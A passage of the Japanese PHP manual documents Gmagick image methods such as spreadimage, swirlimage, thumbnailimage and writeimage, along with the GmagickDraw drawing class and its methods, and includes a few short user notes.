返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ブロック内の各ピクセルをランダムに移動する

  • ≪ Gmagick::solarizeimage
  • Gmagick::stripimage ≫
  • PHP Manual
  • Gmagick
  • ブロック内の各ピクセルをランダムに移動する

Gmagick::spreadimage

(PECL gmagick >= Unknown)

Gmagick::spreadimage — ブロック内の各ピクセルをランダムに移動する

説明

public Gmagick::spreadimage ( float $radius ) : Gmagick

radius パラメータで定義したブロック内の各ピクセルを、 ランダムに移動させます。

パラメータ

radius

この範囲の近くにあるランダムなピクセルを選びます。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像からすべてのプロパティやコメントを除去する

  • ≪ Gmagick::spreadimage
  • Gmagick::swirlimage ≫
  • PHP Manual
  • Gmagick
  • 画像からすべてのプロパティやコメントを除去する

Gmagick::stripimage

(PECL gmagick >= Unknown)

Gmagick::stripimage — 画像からすべてのプロパティやコメントを除去する

説明

public Gmagick::stripimage ( ) : Gmagick

画像からすべてのプロパティやコメントを除去します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の中心から、ピクセルを渦巻状にする

  • ≪ Gmagick::stripimage
  • Gmagick::thumbnailimage ≫
  • PHP Manual
  • Gmagick
  • 画像の中心から、ピクセルを渦巻状にする

Gmagick::swirlimage

(PECL gmagick >= Unknown)

Gmagick::swirlimage — 画像の中心から、ピクセルを渦巻状にする

説明

public Gmagick::swirlimage ( float $degrees ) : Gmagick

画像の中心から、ピクセルを渦巻状にします。 degrees は個々のピクセルが移動する弧の量を表します。 degrees を 1 から 360 まで変化させると、劇的な効果が得られます。

パラメータ

degrees

渦巻効果の程度。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のサイズを変更する

  • ≪ Gmagick::swirlimage
  • Gmagick::trimimage ≫
  • PHP Manual
  • Gmagick
  • 画像のサイズを変更する

Gmagick::thumbnailimage

(PECL gmagick >= Unknown)

Gmagick::thumbnailimage — 画像のサイズを変更する

説明

public Gmagick::thumbnailimage ( int $width , int $height , bool $fit = false ) : Gmagick

画像のサイズを指定したものに変更し、関連付けられたプロパティをすべて削除します。 ウェブ上での表示に適した小さなサムネイル画像を作成します。 三番目のパラメータに true を指定すると、columns や rows にそれぞれの最大値を使用します。両方のパラメータが、 マッチするまであるいは指定したパラメータより小さくなるまで縮小されます。

パラメータ

width

画像の幅。

height

画像の高さ。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

isius 17-Jun-2014 03:21
It's not mentioned, but this function removes all profiles, etcetera from the image.


画像の輪郭を削除する

  • ≪ Gmagick::thumbnailimage
  • Gmagick::write ≫
  • PHP Manual
  • Gmagick
  • 画像の輪郭を削除する

Gmagick::trimimage

(PECL gmagick >= Unknown)

Gmagick::trimimage — 画像の輪郭を削除する

説明

public Gmagick::trimimage ( float $fuzz ) : Gmagick

画像の背景色と同じ色の輪郭を削除します。

パラメータ

fuzz

デフォルトでは、対象の色は特定のピクセルの色とまったく同じでなければなりません。 しかし、ふたつの色が微妙に異なることもよくあります。 画像の fuzz メンバは、どの程度の色を「同じ色」とみなすかを表します。 このパラメータは、量の範囲の変化を表します。

返り値

Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Gmagick::writeimage のエイリアス

  • ≪ Gmagick::trimimage
  • Gmagick::writeimage ≫
  • PHP Manual
  • Gmagick
  • Gmagick::writeimage のエイリアス

Gmagick::write

(PECL gmagick >= Unknown)

Gmagick::write — Gmagick::writeimage() のエイリアス

説明

このメソッドは次のメソッドのエイリアスです。 Gmagick::writeimage()

User Contributed Notes

There are no user contributed notes for this page.


画像を指定したファイル名で書き出す

  • ≪ Gmagick::write
  • GmagickDraw ≫
  • PHP Manual
  • Gmagick
  • 画像を指定したファイル名で書き出す

Gmagick::writeimage

(PECL gmagick >= Unknown)

Gmagick::writeimage — 画像を指定したファイル名で書き出す

説明

public Gmagick::writeimage ( string $filename , bool $all_frames = false ) : Gmagick

画像を指定したファイル名で書き出します。filename が NULL の場合は、 Gmagick::ReadImage() あるいは Gmagick::SetImageFilename() で設定したファイル名で書き出します。

パラメータ

filename

画像ファイル名。

返り値

Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


GmagickDraw クラス

(PECL gmagick >= Unknown)

はじめに

クラス概要

GmagickDraw {
/* メソッド */
public annotate ( float $x , float $y , string $text ) : GmagickDraw
public arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed ) : GmagickDraw
public bezier ( array $coordinate_array ) : GmagickDraw
public ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end ) : GmagickDraw
public getfillcolor ( ) : GmagickPixel
public getfillopacity ( ) : float
public getfont ( ) : mixed
public getfontsize ( ) : float
public getfontstyle ( ) : int
public getfontweight ( ) : int
public getstrokecolor ( ) : GmagickPixel
public getstrokeopacity ( ) : float
public getstrokewidth ( ) : float
public gettextdecoration ( ) : int
public gettextencoding ( ) : mixed
public line ( float $sx , float $sy , float $ex , float $ey ) : GmagickDraw
public point ( float $x , float $y ) : GmagickDraw
public polygon ( array $coordinates ) : GmagickDraw
public polyline ( array $coordinate_array ) : GmagickDraw
public rectangle ( float $x1 , float $y1 , float $x2 , float $y2 ) : GmagickDraw
public rotate ( float $degrees ) : GmagickDraw
public roundrectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry ) : GmagickDraw
public scale ( float $x , float $y ) : GmagickDraw
public setfillcolor ( mixed $color ) : GmagickDraw
public setfillopacity ( float $fill_opacity ) : GmagickDraw
public setfont ( string $font ) : GmagickDraw
public setfontsize ( float $pointsize ) : GmagickDraw
public setfontstyle ( int $style ) : GmagickDraw
public setfontweight ( int $weight ) : GmagickDraw
public setstrokecolor ( mixed $color ) : GmagickDraw
public setstrokeopacity ( float $stroke_opacity ) : GmagickDraw
public setstrokewidth ( float $width ) : GmagickDraw
public settextdecoration ( int $decoration ) : GmagickDraw
public settextencoding ( string $encoding ) : GmagickDraw
}

目次

  • GmagickDraw::annotate — 画像の上にテキストを描画する
  • GmagickDraw::arc — 弧を描く
  • GmagickDraw::bezier — ベジエ曲線を描く
  • GmagickDraw::ellipse — 楕円を画像上に描く
  • GmagickDraw::getfillcolor — 塗りつぶし色を返す
  • GmagickDraw::getfillopacity — 描画に使う不透明度を返す
  • GmagickDraw::getfont — フォントを返す
  • GmagickDraw::getfontsize — フォントのポイント数を返す
  • GmagickDraw::getfontstyle — フォントスタイルを返す
  • GmagickDraw::getfontweight — フォントのウェイトを返す
  • GmagickDraw::getstrokecolor — オブジェクトの輪郭の描画に使う色を返す
  • GmagickDraw::getstrokeopacity — オブジェクトの輪郭の不透明度を返す
  • GmagickDraw::getstrokewidth — オブジェクトの輪郭の描画に使う線の幅を返す
  • GmagickDraw::gettextdecoration — テキストのデコレーションを返す
  • GmagickDraw::gettextencoding — テキストのアノテーションで使うコードセットを返す
  • GmagickDraw::line — 直線を描く
  • GmagickDraw::point — 点を描く
  • GmagickDraw::polygon — 多角形を描く
  • GmagickDraw::polyline — ポリラインを描く
  • GmagickDraw::rectangle — 矩形を描く
  • GmagickDraw::rotate — 指定した回転角を現在の座標空間に適用する
  • GmagickDraw::roundrectangle — 角が丸い矩形を描く
  • GmagickDraw::scale — 倍率を調整する
  • GmagickDraw::setfillcolor — オブジェクトの塗りつぶしに使う色を設定する
  • GmagickDraw::setfillopacity — 不透明度を設定する
  • GmagickDraw::setfont — テキストのアノテーションで使うフォントの完全な名前を設定する
  • GmagickDraw::setfontsize — テキストのアノテーションで使うフォントのポイント数を設定する
  • GmagickDraw::setfontstyle — テキストのアノテーションで使うフォントのスタイルを設定する
  • GmagickDraw::setfontweight — フォントのウェイトを設定する
  • GmagickDraw::setstrokecolor — オブジェクトの輪郭の描画に使う色を設定する
  • GmagickDraw::setstrokeopacity — オブジェクトの輪郭の不透明度を設定する
  • GmagickDraw::setstrokewidth — オブジェクトの輪郭の描画に使う線の幅を設定する
  • GmagickDraw::settextdecoration — デコレーションを設定する
  • GmagickDraw::settextencoding — テキストのコードセットを設定する

User Contributed Notes

There are no user contributed notes for this page.


画像の上にテキストを描画する

  • ≪ GmagickDraw
  • GmagickDraw::arc ≫
  • PHP Manual
  • GmagickDraw
  • 画像の上にテキストを描画する

GmagickDraw::annotate

(PECL gmagick >= Unknown)

GmagickDraw::annotate — 画像の上にテキストを描画する

説明

public GmagickDraw::annotate ( float $x , float $y , string $text ) : GmagickDraw

画像の上にテキストを描画します。

パラメータ

x

テキストの左端の x 座標。

y

テキストのベースラインの y 座標。

text

描画するテキスト。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


弧を描く

  • ≪ GmagickDraw::annotate
  • GmagickDraw::bezier ≫
  • PHP Manual
  • GmagickDraw
  • 弧を描く

GmagickDraw::arc

(PECL gmagick >= Unknown)

GmagickDraw::arc — 弧を描く

説明

public GmagickDraw::arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed ) : GmagickDraw

指定した矩形内に収まる弧を、画像上に描きます。

パラメータ

sx

矩形の開始位置の x 座標。

sy

矩形の開始位置の y 座標。

ex

矩形の終了位置の x 座標。

ey

矩形の終了位置の y 座標。

sd

開始角度。

ed

終了角度。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


ベジエ曲線を描く

  • ≪ GmagickDraw::arc
  • GmagickDraw::ellipse ≫
  • PHP Manual
  • GmagickDraw
  • ベジエ曲線を描く

GmagickDraw::bezier

(PECL gmagick >= Unknown)

GmagickDraw::bezier — ベジエ曲線を描く

説明

public GmagickDraw::bezier ( array $coordinate_array ) : GmagickDraw

指定した点を通るベジエ曲線を画像上に描きます。

パラメータ

coordinate_array

座標の配列。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


楕円を画像上に描く

  • ≪ GmagickDraw::bezier
  • GmagickDraw::getfillcolor ≫
  • PHP Manual
  • GmagickDraw
  • 楕円を画像上に描く

GmagickDraw::ellipse

(PECL gmagick >= Unknown)

GmagickDraw::ellipse — 楕円を画像上に描く

説明

public GmagickDraw::ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end ) : GmagickDraw

楕円を画像上に描きます。

パラメータ

ox

原点の x 座標。

oy

原点の y 座標。

rx

x 方向の半径。

ry

y 方向の半径。

start

開始角度。

end

終了角度。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


塗りつぶし色を返す

  • ≪ GmagickDraw::ellipse
  • GmagickDraw::getfillopacity ≫
  • PHP Manual
  • GmagickDraw
  • 塗りつぶし色を返す

GmagickDraw::getfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::getfillcolor — 塗りつぶし色を返す

説明

public GmagickDraw::getfillcolor ( ) : GmagickPixel

オブジェクトを塗りつぶすときに使う色を返します。

パラメータ

この関数にはパラメータはありません。

返り値

オブジェクトを塗りつぶすときに使う色の GmagickPixel を返します。

User Contributed Notes

There are no user contributed notes for this page.


描画に使う不透明度を返す

  • ≪ GmagickDraw::getfillcolor
  • GmagickDraw::getfont ≫
  • PHP Manual
  • GmagickDraw
  • 描画に使う不透明度を返す

GmagickDraw::getfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::getfillopacity — 描画に使う不透明度を返す

説明

public GmagickDraw::getfillopacity ( ) : float

描画に使う不透明度を返します。

パラメータ

この関数にはパラメータはありません。

返り値

塗りつぶしの色やテクスチャに使う不透明度を返します。完全に不透明な状態が 1.0 になります。

User Contributed Notes

There are no user contributed notes for this page.


フォントを返す

  • ≪ GmagickDraw::getfillopacity
  • GmagickDraw::getfontsize ≫
  • PHP Manual
  • GmagickDraw
  • フォントを返す

GmagickDraw::getfont

(PECL gmagick >= Unknown)

GmagickDraw::getfont — フォントを返す

説明

public GmagickDraw::getfont ( ) : mixed

テキストのアノテーションで使うフォントを表す文字列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に文字列を返します。フォントが設定されていない場合は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


フォントのポイント数を返す

  • ≪ GmagickDraw::getfont
  • GmagickDraw::getfontstyle ≫
  • PHP Manual
  • GmagickDraw
  • フォントのポイント数を返す

GmagickDraw::getfontsize

(PECL gmagick >= Unknown)

GmagickDraw::getfontsize — フォントのポイント数を返す

説明

public GmagickDraw::getfontsize ( ) : float

テキストのアノテーションで使うフォントのポイント数を返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の GmagickDraw オブジェクトに関連づけられたフォントのサイズを返します。

User Contributed Notes

There are no user contributed notes for this page.


フォントスタイルを返す

  • ≪ GmagickDraw::getfontsize
  • GmagickDraw::getfontweight ≫
  • PHP Manual
  • GmagickDraw
  • フォントスタイルを返す

GmagickDraw::getfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::getfontstyle — フォントスタイルを返す

説明

public GmagickDraw::getfontstyle ( ) : int

テキストのアノテーションで使うフォントのスタイルを返します。

パラメータ

この関数にはパラメータはありません。

返り値

GmagickDraw オブジェクトに関連づけられたフォントスタイル定数 (STYLE_) を返します。 スタイルが設定されていない場合は 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


フォントのウェイトを返す

  • ≪ GmagickDraw::getfontstyle
  • GmagickDraw::getstrokecolor ≫
  • PHP Manual
  • GmagickDraw
  • フォントのウェイトを返す

GmagickDraw::getfontweight

(PECL gmagick >= Unknown)

GmagickDraw::getfontweight — フォントのウェイトを返す

説明

public GmagickDraw::getfontweight ( ) : int

テキストのアノテーションで使うフォントのウェイトを返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に整数値を返します。ウェイトが設定されていない場合は 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの輪郭の描画に使う色を返す

  • ≪ GmagickDraw::getfontweight
  • GmagickDraw::getstrokeopacity ≫
  • PHP Manual
  • GmagickDraw
  • オブジェクトの輪郭の描画に使う色を返す

GmagickDraw::getstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::getstrokecolor — オブジェクトの輪郭の描画に使う色を返す

説明

public GmagickDraw::getstrokecolor ( ) : GmagickPixel

オブジェクトの輪郭の描画に使う色を返します。

パラメータ

この関数にはパラメータはありません。

返り値

色を表す GmagickPixel オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの輪郭の不透明度を返す

  • ≪ GmagickDraw::getstrokecolor
  • GmagickDraw::getstrokewidth ≫
  • PHP Manual
  • GmagickDraw
  • オブジェクトの輪郭の不透明度を返す

GmagickDraw::getstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::getstrokeopacity — オブジェクトの輪郭の不透明度を返す

説明

public GmagickDraw::getstrokeopacity ( ) : float

オブジェクトの輪郭の不透明度を返します。

パラメータ

この関数にはパラメータはありません。

返り値

不透明度を表す浮動小数点数値を返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの輪郭の描画に使う線の幅を返す

  • ≪ GmagickDraw::getstrokeopacity
  • GmagickDraw::gettextdecoration ≫
  • PHP Manual
  • GmagickDraw
  • オブジェクトの輪郭の描画に使う線の幅を返す

GmagickDraw::getstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::getstrokewidth — オブジェクトの輪郭の描画に使う線の幅を返す

説明

public GmagickDraw::getstrokewidth ( ) : float

オブジェクトの輪郭の描画に使う線の幅を返します。

パラメータ

この関数にはパラメータはありません。

返り値

線の幅を表す浮動小数点数値を返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストのデコレーションを返す

  • ≪ GmagickDraw::getstrokewidth
  • GmagickDraw::gettextencoding ≫
  • PHP Manual
  • GmagickDraw
  • テキストのデコレーションを返す

GmagickDraw::gettextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::gettextdecoration — テキストのデコレーションを返す

説明

public GmagickDraw::gettextdecoration ( ) : int

テキストのアノテーションに適用するデコレーションを返します。

パラメータ

この関数にはパラメータはありません。

返り値

DECORATION_ 定数のいずれかを返します。デコレーションが設定されていない場合は 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストのアノテーションで使うコードセットを返す

  • ≪ GmagickDraw::gettextdecoration
  • GmagickDraw::line ≫
  • PHP Manual
  • GmagickDraw
  • テキストのアノテーションで使うコードセットを返す

GmagickDraw::gettextencoding

(PECL gmagick >= Unknown)

GmagickDraw::gettextencoding — テキストのアノテーションで使うコードセットを返す

説明

public GmagickDraw::gettextencoding ( ) : mixed

テキストのアノテーションで使うコードセットを表す文字列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

コードセットを表す文字列を返します。 エンコーディングが設定されていない場合は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


直線を描く

  • ≪ GmagickDraw::gettextencoding
  • GmagickDraw::point ≫
  • PHP Manual
  • GmagickDraw
  • 直線を描く

GmagickDraw::line

(PECL gmagick >= Unknown)

GmagickDraw::line — 直線を描く

説明

public GmagickDraw::line ( float $sx , float $sy , float $ex , float $ey ) : GmagickDraw

現在の描画色、不透明度、線幅を使って画像上に直線を描きます。

パラメータ

sx

開始位置の x 座標。

sy

開始位置の y 座標。

ex

終了位置の x 座標。

ey

終了位置の y 座標。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


点を描く

  • ≪ GmagickDraw::line
  • GmagickDraw::polygon ≫
  • PHP Manual
  • GmagickDraw
  • 点を描く

GmagickDraw::point

(PECL gmagick >= Unknown)

GmagickDraw::point — 点を描く

説明

public GmagickDraw::point ( float $x , float $y ) : GmagickDraw

現在の描画色と太さを使って、指定した座標に点を描きます。

パラメータ

x

点の x 座標。

y

点の y 座標。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


多角形を描く

  • ≪ GmagickDraw::point
  • GmagickDraw::polyline ≫
  • PHP Manual
  • GmagickDraw
  • 多角形を描く

GmagickDraw::polygon

(PECL gmagick >= Unknown)

GmagickDraw::polygon — 多角形を描く

説明

public GmagickDraw::polygon ( array $coordinates ) : GmagickDraw

現在の描画色、線幅、塗りつぶし色、塗りつぶしテクスチャを使って、指定した座標の配列による多角形を描きます。

パラメータ

coordinates

座標の配列。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


ポリラインを描く

  • ≪ GmagickDraw::polygon
  • GmagickDraw::rectangle ≫
  • PHP Manual
  • GmagickDraw
  • ポリラインを描く

GmagickDraw::polyline

(PECL gmagick >= Unknown)

GmagickDraw::polyline — ポリラインを描く

説明

public GmagickDraw::polyline ( array $coordinate_array ) : GmagickDraw

現在の描画色、線幅、塗りつぶし色、塗りつぶしテクスチャを使って、指定した座標の配列によるポリラインを描きます。

パラメータ

coordinate_array

座標の配列。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


矩形を描く

  • ≪ GmagickDraw::polyline
  • GmagickDraw::rotate ≫
  • PHP Manual
  • GmagickDraw
  • 矩形を描く

GmagickDraw::rectangle

(PECL gmagick >= Unknown)

GmagickDraw::rectangle — 矩形を描く

説明

public GmagickDraw::rectangle ( float $x1 , float $y1 , float $x2 , float $y2 ) : GmagickDraw

二つの座標を指定して、現在の描画色と線幅そして塗りつぶし設定を使った矩形を描きます。

パラメータ

x1

最初の x 座標。

y1

最初の y 座標。

x2

二番目の x 座標。

y2

二番目の y 座標。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

vitalick dot pugach at gmail dot com 12-Jan-2016 12:11
Создаем белый прямоугольник внизу изображения. [Create a white rectangle at the bottom of the image.]
$image = "http://localhost/files/upload/399000/399357/cmsimage8KEGF3.jpg";

list($width, $height) = getimagesize($image);

$gmagicDraw = new GmagickDraw();
$gmagicDraw->setfillcolor("#fff");
$gmagicDraw->rectangle(0, $height - $height * 0.02, $width, $height);

$gImage = new Gmagick();
$gImage->readImage($image);
$gImage->drawimage($gmagicDraw);
$gImage->writeimage(DOCROOT . "files/temp/img". $someId);


指定した回転角を現在の座標空間に適用する

  • ≪ GmagickDraw::rectangle
  • GmagickDraw::roundrectangle ≫
  • PHP Manual
  • GmagickDraw
  • 指定した回転角を現在の座標空間に適用する

GmagickDraw::rotate

(PECL gmagick >= Unknown)

GmagickDraw::rotate — 指定した回転角を現在の座標空間に適用する

説明

public GmagickDraw::rotate ( float $degrees ) : GmagickDraw

指定した回転角を現在の座標空間に適用します。

パラメータ

degrees

回転角度。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


角が丸い矩形を描く

  • ≪ GmagickDraw::rotate
  • GmagickDraw::scale ≫
  • PHP Manual
  • GmagickDraw
  • 角が丸い矩形を描く

GmagickDraw::roundrectangle

(PECL gmagick >= Unknown)

GmagickDraw::roundrectangle — 角が丸い矩形を描く

説明

public GmagickDraw::roundrectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry ) : GmagickDraw

二つの座標そして x 方向と y 方向の角の半径を指定して、現在の描画色と線幅そして塗りつぶし設定を使った過度の丸い矩形を描きます。

パラメータ

x1

最初の x 座標。

y1

最初の y 座標。

x2

二番目の x 座標。

y2

二番目の y 座標。

rx

水平方向の角の半径。

ry

垂直方向の角の半径。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


倍率を調整する

  • ≪ GmagickDraw::roundrectangle
  • GmagickDraw::setfillcolor ≫
  • PHP Manual
  • GmagickDraw
  • 倍率を調整する

GmagickDraw::scale

(PECL gmagick >= Unknown)

GmagickDraw::scale — 倍率を調整する

説明

public GmagickDraw::scale ( float $x , float $y ) : GmagickDraw

現在の座標空間に対して水平方向と垂直方向の倍率を調整します。

パラメータ

x

水平方向の倍率。

y

垂直方向の倍率。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの塗りつぶしに使う色を設定する

  • ≪ GmagickDraw::scale
  • GmagickDraw::setfillopacity ≫
  • PHP Manual
  • GmagickDraw
  • オブジェクトの塗りつぶしに使う色を設定する

GmagickDraw::setfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::setfillcolor — オブジェクトの塗りつぶしに使う色を設定する

説明

public GmagickDraw::setfillcolor ( mixed $color ) : GmagickDraw

オブジェクトの塗りつぶしに使う色を設定します。

パラメータ

color

塗りつぶしに使う色を表す GmagickPixel オブジェクトあるいは文字列。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


不透明度を設定する

  • ≪ GmagickDraw::setfillcolor
  • GmagickDraw::setfont ≫
  • PHP Manual
  • GmagickDraw
  • 不透明度を設定する

GmagickDraw::setfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::setfillopacity — 不透明度を設定する

説明

public GmagickDraw::setfillopacity ( float $fill_opacity ) : GmagickDraw

塗りつぶし色や塗りつぶしテクスチャを使った描画のときに使う不透明度を設定します。 1.0 にすると、完全に不透明になります。

パラメータ

fill_opacity

塗りつぶしの不透明度。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストのアノテーションで使うフォントの完全な名前を設定する

  • ≪ GmagickDraw::setfillopacity
  • GmagickDraw::setfontsize ≫
  • PHP Manual
  • GmagickDraw
  • テキストのアノテーションで使うフォントの完全な名前を設定する

GmagickDraw::setfont

(PECL gmagick >= Unknown)

GmagickDraw::setfont — テキストのアノテーションで使うフォントの完全な名前を設定する

説明

public GmagickDraw::setfont ( string $font ) : GmagickDraw

テキストのアノテーションで使うフォントの完全な名前を設定します。

パラメータ

font

フォント名。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストのアノテーションで使うフォントのポイント数を設定する

  • ≪ GmagickDraw::setfont
  • GmagickDraw::setfontstyle ≫
  • PHP Manual
  • GmagickDraw
  • テキストのアノテーションで使うフォントのポイント数を設定する

GmagickDraw::setfontsize

(PECL gmagick >= Unknown)

GmagickDraw::setfontsize — テキストのアノテーションで使うフォントのポイント数を設定する

説明

public GmagickDraw::setfontsize ( float $pointsize ) : GmagickDraw

テキストのアノテーションで使うフォントのポイント数を設定します。

パラメータ

pointsize

テキストのポイント数。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストのアノテーションで使うフォントのスタイルを設定する

  • ≪ GmagickDraw::setfontsize
  • GmagickDraw::setfontweight ≫
  • PHP Manual
  • GmagickDraw
  • テキストのアノテーションで使うフォントのスタイルを設定する

GmagickDraw::setfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::setfontstyle — テキストのアノテーションで使うフォントのスタイルを設定する

説明

public GmagickDraw::setfontstyle ( int $style ) : GmagickDraw

テキストのアノテーションで使うフォントのスタイルを設定します。 AnyStyle はワイルドカードで、「気にしない」という意味になります。

パラメータ

style

フォントスタイル (NormalStyle, ItalicStyle, ObliqueStyle, AnyStyle)。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


フォントのウェイトを設定する

  • ≪ GmagickDraw::setfontstyle
  • GmagickDraw::setstrokecolor ≫
  • PHP Manual
  • GmagickDraw
  • フォントのウェイトを設定する

GmagickDraw::setfontweight

(PECL gmagick >= Unknown)

GmagickDraw::setfontweight — フォントのウェイトを設定する

説明

public GmagickDraw::setfontweight ( int $weight ) : GmagickDraw

テキストのアノテーションで使うフォントのウェイトを設定します。

パラメータ

weight

フォントのウェイト (100-900 の範囲が有効)。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの輪郭の描画に使う色を設定する

  • ≪ GmagickDraw::setfontweight
  • GmagickDraw::setstrokeopacity ≫
  • PHP Manual
  • GmagickDraw
  • オブジェクトの輪郭の描画に使う色を設定する

GmagickDraw::setstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::setstrokecolor — オブジェクトの輪郭の描画に使う色を設定する

説明

public GmagickDraw::setstrokecolor ( mixed $color ) : GmagickDraw

オブジェクトの輪郭の描画に使う色を設定します。

パラメータ

color

輪郭の色を表す GmagickPixel オブジェクトあるいは文字列。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの輪郭の不透明度を設定する

  • ≪ GmagickDraw::setstrokecolor
  • GmagickDraw::setstrokewidth ≫
  • PHP Manual
  • GmagickDraw
  • オブジェクトの輪郭の不透明度を設定する

GmagickDraw::setstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::setstrokeopacity — オブジェクトの輪郭の不透明度を設定する

説明

public GmagickDraw::setstrokeopacity ( float $stroke_opacity ) : GmagickDraw

オブジェクトの輪郭の不透明度を設定します。

パラメータ

stroke_opacity

不透明度。1.0 が完全な不透明を表します。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの輪郭の描画に使う線の幅を設定する

  • ≪ GmagickDraw::setstrokeopacity
  • GmagickDraw::settextdecoration ≫
  • PHP Manual
  • GmagickDraw
  • オブジェクトの輪郭の描画に使う線の幅を設定する

GmagickDraw::setstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::setstrokewidth — オブジェクトの輪郭の描画に使う線の幅を設定する

説明

public GmagickDraw::setstrokewidth ( float $width ) : GmagickDraw

オブジェクトの輪郭の描画に使う線の幅を設定します。

パラメータ

width

線の幅。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


デコレーションを設定する

  • ≪ GmagickDraw::setstrokewidth
  • GmagickDraw::settextencoding ≫
  • PHP Manual
  • GmagickDraw
  • デコレーションを設定する

GmagickDraw::settextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::settextdecoration — デコレーションを設定する

説明

public GmagickDraw::settextdecoration ( int $decoration ) : GmagickDraw

テキストのアノテーションに適用するデコレーションを設定します。

パラメータ

int

テキストのデコレーション。NoDecoration、UnderlineDecoration、OverlineDecoration あるいは LineThroughDecoration のいずれか。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストのコードセットを設定する

  • ≪ GmagickDraw::settextdecoration
  • GmagickPixel ≫
  • PHP Manual
  • GmagickDraw
  • テキストのコードセットを設定する

GmagickDraw::settextencoding

(PECL gmagick >= Unknown)

GmagickDraw::settextencoding — テキストのコードセットを設定する

説明

public GmagickDraw::settextencoding ( string $encoding ) : GmagickDraw

テキストのアノテーションで使うコードセットを表す文字列を設定します。 現時点で使える文字エンコーディングは "UTF-8" だけで、 これは Unicode をバイト列として使います。 空文字列を指定すると、テキストのエンコーディングをシステムのデフォルトに合わせます。 Unicode を使ったテキストのアノテーションをするには、Unicode に対応したフォントが必要です。

パラメータ

encoding

テキストのエンコーディングを表す文字列。

返り値

成功した場合に GmagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


GmagickPixel クラス

(PECL gmagick >= Unknown)

はじめに

クラス概要

GmagickPixel {
/* メソッド */
